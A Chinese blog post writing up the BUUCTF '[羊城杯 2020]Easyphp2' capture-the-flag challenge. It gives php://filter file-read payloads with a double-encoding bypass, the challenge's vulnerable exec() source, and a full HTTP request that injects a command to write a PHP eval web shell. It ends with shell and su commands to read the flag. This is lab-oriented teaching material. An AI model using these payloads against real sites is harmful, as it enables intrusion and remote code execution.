BUUCTF--[羊城杯 2020]Easyphp2

最新推荐文章于 2024-04-16 16:30:49 发布

Uzero.

最新推荐文章于 2024-04-16 16:30:49 发布

阅读量1.2k

点赞数 1

本文链接：https://blog.csdn.net/qq_46263951/article/details/119776951

版权

进入后的页面

根据题目提示我们可以知道这是一道PHP代码审计的题
所以使用伪协议查看源代码,这里使用的是两次url编码绕过

/?file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php
/?file=php://filter/read=convert.%2562%2561%2573%2565%2536%2534-encode/resource=GWHT.php

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>count is here</title>

    <style>

        html,
        body {
            overflow: none;
            max-height: 100vh;
        }

    </style>
</head>

<body style="height: 100vh; text-align: center; background-color: green; color: blue; display: flex; flex-direction: column; justify-content: center;">

<center><img src="question.jpg" height="200" width="200" /> </center>

    <?php
    ini_set('max_execution_time', 5);

    if ($_COOKIE['pass'] !== getenv('PASS')) {
        setcookie('pass', 'PASS');
        die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
    }
    ?>

    <h1>A Counter is here, but it has someting wrong</h1>

    <form>
        <input type="hidden" value="GWHT.php" name="file">
        <textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
        <input type="submit">
    </form>

    <?php
    if (isset($_GET["count"])) {
        $count = $_GET["count"];
        if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
        	die('hacker!');
        }
        echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
    }
    ?>

</body>

</html>

通过dirsearch可以扫描到robots.txt,访问后得到提示Disallow: /?file=check.php
方式同上,读出check.php源代码

<?php
$pass = "GWHT";
// Cookie password.
echo "Here is nothing, isn't it ?";

header('Location: /');

通过抓包可以发现这里有一个pass,将pass值改为GWHT

进入页面

通过测试可以发现文本框的内容会赋值给变量count,写入shell

GET /?file=GWHT.php&count=%27|echo+%22%3C%3f%3d+eval(\$_POST[%27shell%27])%3f%3E%22+%3E+a.php%27 HTTP/1.1
Host: 174cd32e-be2a-41e5-a3e7-124aaf2725c2.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: __gads=ID=dba6f7a66ae86f43-221c60c18aca00f0:T=1627297878:RT=1627297878:S=ALNI_MbI5-rMqeTxlBOZM6dYbuPQYKJXrA; _ga=GA1.2.2033922412.1627151023; UM_distinctid=17aa37f4bb47-06e4af13a3c9a28-30634644-c0000-17aa37f4bb543f;
pass=GWHT
Upgrade-Insecure-Requests: 1

访问/a.php,连接蚁剑,查找flag文件find / -name "flag*",发现属性为0440,我们没有权限打开

在同目录下发现readme文件,内容为HASH值

解密后为GWHTCTF,在终端执行命令
用户名:GWHT 密码:GWHTCTF

printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'

Uzero.

关注

1
点赞
踩
4

收藏

觉得还不错? 一键收藏
0
评论
BUUCTF--[羊城杯 2020]Easyphp2

进入后的页面根据题目提示我们可以知道这是一道PHP代码审计的题所以使用伪协议查看源代码,这里使用的是两次url编码绕过/?file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php/?file=php://filter/read=convert.%2562%2561%2573%2565%2536%2534-encode/resource=GWHT.php<!DOCTYPE html>&lt
复制链接

扫一扫